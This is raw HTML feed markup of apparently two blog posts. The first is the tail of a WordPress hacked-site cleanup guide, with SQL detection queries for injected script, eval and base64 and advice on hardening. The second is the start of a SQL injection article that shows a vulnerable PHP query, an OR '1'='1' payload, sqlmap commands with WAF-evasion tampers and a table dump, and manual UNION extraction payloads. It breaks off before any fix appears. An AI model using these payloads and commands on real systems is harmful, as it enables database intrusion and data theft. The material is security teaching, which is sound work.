&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;option_value&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="s1"&gt;'%&amp;lt;script%'&lt;/span&gt; 
   &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="n"&gt;option_value&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="s1"&gt;'%eval(%'&lt;/span&gt;
   &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="n"&gt;option_value&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="s1"&gt;'%base64%'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- Check wp_posts for spam links&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;post_title&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;post_content&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;wp_posts&lt;/span&gt; 
&lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;post_content&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="s1"&gt;'%viagra%'&lt;/span&gt; 
   &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="n"&gt;post_content&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="s1"&gt;'%cialis%'&lt;/span&gt;
   &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="n"&gt;post_content&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="s1"&gt;'%casino%'&lt;/span&gt;
&lt;span class="k"&gt;LIMIT&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 5: Review Admin Users and Recent Logins
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List all WordPress admin users via WP-CLI&lt;/span&gt;
wp user list &lt;span class="nt"&gt;--role&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;administrator &lt;span class="nt"&gt;--fields&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ID,user_login,user_email,user_registered

&lt;span class="c"&gt;# Check recent failed logins (if using a security plugin that logs them)&lt;/span&gt;
wp db query &lt;span class="s2"&gt;"SELECT user_login, user_registered FROM wp_users ORDER BY user_registered DESC LIMIT 10;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any admin account you didn't create needs to be deleted immediately. Change all other admin passwords before deleting them, or the attacker's account may automatically recreate itself via a backdoor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Confirmed Hacked — What to Do Now
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Take the Site Offline Temporarily
&lt;/h3&gt;

&lt;p&gt;Put your site in maintenance mode or have your host suspend it. This prevents:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Further spread of malware to visitors&lt;/li&gt;
&lt;li&gt;Continued damage to your SEO reputation&lt;/li&gt;
&lt;li&gt;Attackers continuing to use your server for their operations&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Change Everything
&lt;/h3&gt;

&lt;p&gt;Before cleaning:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;WordPress admin passwords (all users)&lt;/li&gt;
&lt;li&gt;Hosting cPanel/WHM password&lt;/li&gt;
&lt;li&gt;FTP/SFTP credentials&lt;/li&gt;
&lt;li&gt;Database password (and update &lt;code&gt;wp-config.php&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;SSH keys — audit and remove any you don't recognize&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Clean or Restore
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Option A — Restore from a clean backup&lt;/strong&gt;: If you have a backup from before the compromise, restore it. Then immediately update WordPress, all plugins, and themes to current versions before going live again. If you restore without updating, you'll be re-infected through the same vulnerability within days.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Option B — Manual clean&lt;/strong&gt;: If you don't have a clean backup or the backup is also compromised:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Download fresh copies of WordPress core from &lt;a href="https://wordpress.org/download/" rel="noopener noreferrer"&gt;wordpress.org&lt;/a&gt; and overwrite your core files (do not touch &lt;code&gt;wp-content/&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Delete and reinstall all plugins from official sources&lt;/li&gt;
&lt;li&gt;Replace theme files from the original source — do not trust your existing theme files&lt;/li&gt;
&lt;li&gt;Manually scan and clean &lt;code&gt;wp-content/uploads/&lt;/code&gt; — delete any PHP files found there&lt;/li&gt;
&lt;li&gt;Clean the database of injected content&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For professional cleanup, my team at &lt;a href="https://xuro.net/wordpress-solutions" rel="noopener noreferrer"&gt;XURO.NET handles WordPress malware removal&lt;/a&gt; including identifying the original entry point and patching it.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Identify and Patch the Entry Point
&lt;/h3&gt;

&lt;p&gt;Cleaning without finding how they got in means you'll be reinfected. Common entry points:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Outdated plugin with known CVE&lt;/strong&gt;: Check your installed plugin versions against the &lt;a href="https://wpscan.com/wordpresses/" rel="noopener noreferrer"&gt;WPScan Vulnerability Database&lt;/a&gt; — this is the #1 cause&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compromised admin credentials&lt;/strong&gt;: Brute force or credential stuffing attack — a password that was leaked in another breach&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nulled/pirated plugins or themes&lt;/strong&gt;: These almost always contain backdoors by design&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Vulnerable hosting configuration&lt;/strong&gt;: Outdated PHP version, world-writable directories, weak file permissions
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check PHP version (should be 8.1+ minimum)&lt;/span&gt;
php &lt;span class="nt"&gt;-v&lt;/span&gt;

&lt;span class="c"&gt;# Check for world-writable directories&lt;/span&gt;
find /home/youraccount/public_html &lt;span class="nt"&gt;-type&lt;/span&gt; d &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt;+w

&lt;span class="c"&gt;# Check wp-config.php permissions (should be 600 or 640)&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /home/youraccount/public_html/wp-config.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5. Harden Before Going Back Online
&lt;/h3&gt;

&lt;p&gt;Once clean, implement these before you relaunch:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Install a security plugin: Wordfence or iThemes Security for real-time firewall and login protection&lt;/li&gt;
&lt;li&gt;Enable two-factor authentication on all admin accounts&lt;/li&gt;
&lt;li&gt;Limit login attempts — 5 failures should trigger a temporary lockout&lt;/li&gt;
&lt;li&gt;Move &lt;code&gt;wp-admin&lt;/code&gt; to a non-default URL or restrict access by IP&lt;/li&gt;
&lt;li&gt;Set proper file permissions: directories 755, files 644, &lt;code&gt;wp-config.php&lt;/code&gt; 600&lt;/li&gt;
&lt;li&gt;Enable automatic updates for minor WordPress releases&lt;/li&gt;
&lt;li&gt;Set up daily malware scanning with email alerts&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6. Submit for Google Review
&lt;/h3&gt;

&lt;p&gt;If Google flagged your site, you need to request a review after cleaning. In Google Search Console → Security &amp;amp; Manual Actions → Manual Actions → Request Review. Be specific about what you found and what you fixed. Google typically reviews within 1–3 days.&lt;/p&gt;

&lt;p&gt;For blacklisting from other providers: &lt;a href="https://docs.sucuri.net/website-security/blacklist/removal/" rel="noopener noreferrer"&gt;Sucuri Blacklist Removal Guide&lt;/a&gt; covers the major blacklists and their review processes.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Long Does Google Take to Remove the Warning?
&lt;/h2&gt;

&lt;p&gt;After a successful manual action review in GSC, Google typically removes the "This site may be hacked" warning within 24–72 hours. Safe Browsing warnings in Chrome can take up to a week to clear globally as the list propagates to all users.&lt;/p&gt;

&lt;p&gt;During this period your organic traffic will be severely impacted — users see the warning and most don't proceed. This is why fast response matters.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Prevent This From Happening Again
&lt;/h2&gt;

&lt;p&gt;The majority of WordPress compromises are entirely preventable. These are the controls that actually matter:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Updates&lt;/strong&gt;: 60%+ of WordPress infections exploit known vulnerabilities in outdated plugins. Enabling auto-updates for plugins, themes, and minor WordPress core releases eliminates most of this attack surface.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Backups&lt;/strong&gt;: Daily backups stored off-site (not just on your hosting account). If your host is compromised, local backups are also compromised. Services like UpdraftPlus to Google Drive or Amazon S3 work well.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Monitoring&lt;/strong&gt;: Get email alerts when core files change, new admin users are created, or the site goes down. Wordfence's free tier covers most of this.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hosting quality&lt;/strong&gt;: Shared hosting accounts on servers without PHP isolation mean one compromised site can infect every site on that server. CloudLinux with CageFS, or managed WordPress hosting with proper isolation, prevents cross-account contamination.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Passwords&lt;/strong&gt;: Every admin account should use a unique, randomly-generated password of 20+ characters. A password manager makes this practical. Credential stuffing — attackers trying passwords from other breached sites — is a growing attack vector.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;h3&gt;
  
  
  How do I check if my WordPress site is hacked?
&lt;/h3&gt;

&lt;p&gt;Start with three free external scans: run &lt;a href="https://sitecheck.sucuri.net" rel="noopener noreferrer"&gt;Sucuri SiteCheck&lt;/a&gt;, check the &lt;a href="https://transparencyreport.google.com/safe-browsing/search" rel="noopener noreferrer"&gt;Google Safe Browsing Transparency Report&lt;/a&gt;, and look at Google Search Console → Security &amp;amp; Manual Actions. Then check inside: log into &lt;code&gt;wp-admin → Users&lt;/code&gt; for admin accounts you didn't create, sort your files by "Last Modified" in cPanel, and look for PHP files in &lt;code&gt;wp-content/uploads/&lt;/code&gt;. If any of those turn something up, treat the site as compromised and follow the cleanup steps above.&lt;/p&gt;

&lt;h3&gt;
  
  
  How do I know if my WordPress site has been hacked if it looks fine?
&lt;/h3&gt;

&lt;p&gt;A site that looks normal to you can still be hacked — many attacks hide from the logged-in admin. Test from a fresh browser on mobile data (not your office WiFi) to catch mobile-only redirects, check for a sudden traffic drop in analytics, watch for unexpected CPU spikes in cPanel, and confirm your domain isn't on an email blacklist with &lt;a href="https://mxtoolbox.com/blacklists.aspx" rel="noopener noreferrer"&gt;MXToolbox&lt;/a&gt;. Run an external scan regardless of how the site looks.&lt;/p&gt;

&lt;h3&gt;
  
  
  I found malware. Should I just delete everything and reinstall?
&lt;/h3&gt;

&lt;p&gt;Only if you have a clean backup. Deleting without a backup means losing your content. If you don't have a backup, you'll need to manually clean the infection — which requires correctly identifying all affected files and database entries. Incomplete cleanup leaves backdoors that re-infect you immediately.&lt;/p&gt;

&lt;h3&gt;
  
  
  My host removed the suspension but said they cleaned it. Is that enough?
&lt;/h3&gt;

&lt;p&gt;Hosts typically remove the specific malware files they detected but don't perform comprehensive forensic analysis. They identify the symptom but rarely the root cause. You should still audit admin users, check for backdoors in &lt;code&gt;wp-content/uploads/&lt;/code&gt;, verify all core files, and identify the original entry point — even if the host says the site is clean.&lt;/p&gt;

&lt;h3&gt;
  
  
  How much does professional WordPress malware removal cost?
&lt;/h3&gt;

&lt;p&gt;Typical rates run $150–$500 for a single site cleanup depending on complexity. Ongoing security management (which prevents future incidents) runs $50–$200/month. The cost of cleanup is always less than the cost of extended downtime, lost rankings, and customer trust damage.&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Run Sucuri SiteCheck and check Google Safe Browsing before doing anything else&lt;/li&gt;
&lt;li&gt;Check for PHP files in &lt;code&gt;wp-content/uploads/&lt;/code&gt; — these are almost always malicious&lt;/li&gt;
&lt;li&gt;Search your database for spam keywords and injected JavaScript&lt;/li&gt;
&lt;li&gt;Look for admin accounts you didn't create and delete them immediately&lt;/li&gt;
&lt;li&gt;Change all credentials — WordPress, cPanel, FTP, SSH — before cleaning&lt;/li&gt;
&lt;li&gt;Identify the entry point before going back online or you'll be reinfected&lt;/li&gt;
&lt;li&gt;Request a Google manual action review after confirming the site is clean&lt;/li&gt;
&lt;li&gt;Enable auto-updates and daily malware scanning to prevent recurrence&lt;/li&gt;
&lt;li&gt;Store backups off-site — if your host is compromised, on-server backups are too&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;I'm Zahid Abbasi — cPanel- and LiteSpeed-certified, 15+ years cleaning up and hardening WordPress sites. The full version of this guide with more detail lives on &lt;a href="https://xuro.net/blog/is-my-wordpress-site-hacked/" rel="noopener noreferrer"&gt;xuro.net&lt;/a&gt;. If your site's compromised and you need help now, &lt;a href="https://xuro.net/contact" rel="noopener noreferrer"&gt;reach out here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>wordpress</category>
      <category>security</category>
      <category>webdev</category>
      <category>sysadmin</category>
    </item>
    <item>
      <title>SQL Injection: Anatomy of an Attack</title>
      <dc:creator>Zahid Rasheed</dc:creator>
      <pubDate>Thu, 09 Jul 2026 11:37:48 +0000</pubDate>
      <link>https://dev.to/zahidabbasi/sql-injection-anatomy-of-an-attack-3ilf</link>
      <guid>https://dev.to/zahidabbasi/sql-injection-anatomy-of-an-attack-3ilf</guid>
      <description>&lt;h1&gt;
  
  
  SQL Injection: Anatomy of an Attack
&lt;/h1&gt;

&lt;p&gt;A client called me at 11 PM on a Tuesday. Their e-commerce platform had been leaking customer data for six weeks before anyone noticed. The attacker hadn't used malware, hadn't brute-forced passwords, hadn't done anything particularly sophisticated. They'd typed a single quote into a search box and watched the database hand over everything it had. Forty thousand customer records — names, addresses, hashed passwords, partial card data — all gone because one developer had concatenated user input directly into a SQL query. That night taught me more about SQL injection than any certification ever did.&lt;/p&gt;

&lt;p&gt;SQL injection remains the most consistently exploited vulnerability class I encounter across client engagements. Not because it's new — it's been on the OWASP Top 10 since the list existed — but because developers keep making the same fundamental mistakes, and attackers keep rewarding them for it. This post walks through how SQL injection actually works in practice, the tools I use to find it, the manual techniques that matter when automated tools miss things, and how to fix it properly.&lt;/p&gt;

&lt;h2&gt;
  
  
  What SQL Injection Actually Is (Beyond the Textbook Definition)
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F47xbupxxt15b8expqyux.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F47xbupxxt15b8expqyux.webp" alt="SQL Injection: Anatomy of an Attack — diagram" width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;SQL injection happens when user-supplied input is interpreted as SQL code rather than data. The reason it keeps appearing in mature codebases is that it's contextual — a parameter that's safe in one query context becomes dangerous in another, and static analysis tools regularly miss it.&lt;/p&gt;

&lt;p&gt;Here's the vulnerable pattern I see most often:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$search&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'q'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT * FROM products WHERE name LIKE '%"&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$search&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;"%'"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;mysqli_query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When a user searches for &lt;code&gt;laptop&lt;/code&gt;, the query becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;products&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="s1"&gt;'%laptop%'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Completely fine. But when an attacker searches for &lt;code&gt;%' OR '1'='1&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;products&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;LIKE&lt;/span&gt; &lt;span class="s1"&gt;'%%'&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1%'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The condition &lt;code&gt;'1'='1'&lt;/code&gt; is always true, so every row in the table gets returned. That's the simplest version. In practice, attackers go much further.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Four Main Injection Types
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;In-band SQLi&lt;/strong&gt; is what most people think of — the attacker sees results directly in the HTTP response. This includes error-based injection (where database errors leak schema information) and union-based injection (where the attacker appends their own SELECT statement to the original query).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Blind SQLi&lt;/strong&gt; returns no visible data but the application behaves differently depending on whether a condition is true or false. Boolean-based blind injection exploits this binary response. Time-based blind injection uses &lt;code&gt;SLEEP()&lt;/code&gt; or &lt;code&gt;WAITFOR DELAY&lt;/code&gt; to infer data character by character based on response timing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Out-of-band SQLi&lt;/strong&gt; uses secondary channels — DNS lookups, HTTP requests from the database server — to exfiltrate data. I use this when the application gives no visible feedback and timing attacks are unreliable due to network jitter.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second-order injection&lt;/strong&gt; is the one that gets good developers. The malicious payload is stored in the database first (appearing safe at insertion time) and then executed when retrieved and used in a subsequent query. I've found several of these in applications that had parameterized queries everywhere &lt;em&gt;except&lt;/em&gt; in the admin panel that consumed stored data.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reconnaissance and Discovery
&lt;/h2&gt;

&lt;p&gt;Before running any tools, I spend time mapping the application manually. Every input point is a potential injection vector: GET/POST parameters, HTTP headers (User-Agent, Referer, X-Forwarded-For), cookie values, JSON/XML bodies, and file upload filenames.&lt;/p&gt;

&lt;p&gt;The first manual test I always run is a single quote:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://target.com/product?id=1'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A database error message is gold. MySQL will often return something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;You&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="k"&gt;SQL&lt;/span&gt; &lt;span class="n"&gt;syntax&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;check&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;manual&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;corresponds&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;MySQL&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="k"&gt;version&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="k"&gt;right&lt;/span&gt; &lt;span class="n"&gt;syntax&lt;/span&gt; &lt;span class="k"&gt;to&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;near&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;''&lt;/span&gt;&lt;span class="s1"&gt; at line 1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That tells me the database type, that error messages are enabled (a misconfiguration in itself), and that the parameter is injectable. Even if errors are suppressed, I look for behavioral differences — a page that loads differently, a response that takes longer, a redirect that shouldn't happen.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd6qskfr1uufyd50hsjrg.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fd6qskfr1uufyd50hsjrg.webp" alt="SQL Injection: Anatomy of an Attack — screenshot" width="800" height="460"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Using SQLMap Properly
&lt;/h3&gt;

&lt;p&gt;SQLMap is the standard tool, but running it blindly wastes time and generates enormous amounts of traffic that triggers WAFs. I always start with a targeted command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"https://target.com/product?id=1"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--dbms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;mysql &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--risk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--batch&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--tamper&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;space2comment &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;--tamper&lt;/code&gt; flag applies obfuscation scripts to bypass WAFs. For more aggressive WAF evasion I'll chain tampers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nt"&gt;--tamper&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;between,space2comment,randomcase
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For authenticated areas, I capture the full request with Burp Suite, save it as a file, and pass it directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-r&lt;/span&gt; request.txt &lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"session=abc123"&lt;/span&gt; &lt;span class="nt"&gt;--level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;5 &lt;span class="nt"&gt;--risk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When I need to dump a specific table after confirming injection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"https://target.com/product?id=1"&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; ecommerce &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nb"&gt;users&lt;/span&gt; &lt;span class="nt"&gt;--dump&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That said, SQLMap misses things. It particularly struggles with second-order injection, JSON-embedded parameters, and custom serialization formats. Manual testing with Burp Repeater finds what automated tools don't.&lt;/p&gt;

&lt;h3&gt;
  
  
  Manual Union-Based Extraction
&lt;/h3&gt;

&lt;p&gt;When I'm doing a manual union-based injection, the first step is finding the number of columns in the original query. I use ORDER BY enumeration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' ORDER BY 1--
'&lt;/span&gt; &lt;span class="k"&gt;ORDER&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="s1"&gt;' ORDER BY 3--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the page breaks, I know the column count. If ORDER BY 4 causes an error but 3 doesn't, there are three columns. Then I find which columns are reflected in the output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' UNION SELECT NULL,NULL,NULL--
'&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="s1"&gt;'a'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="c1"&gt;--&lt;/span&gt;
&lt;span class="s1"&gt;' UNION SELECT NULL,'&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="s1"&gt;',NULL--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once I find a reflected column (say, column 2), I can extract data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' UNION SELECT NULL,database(),NULL--
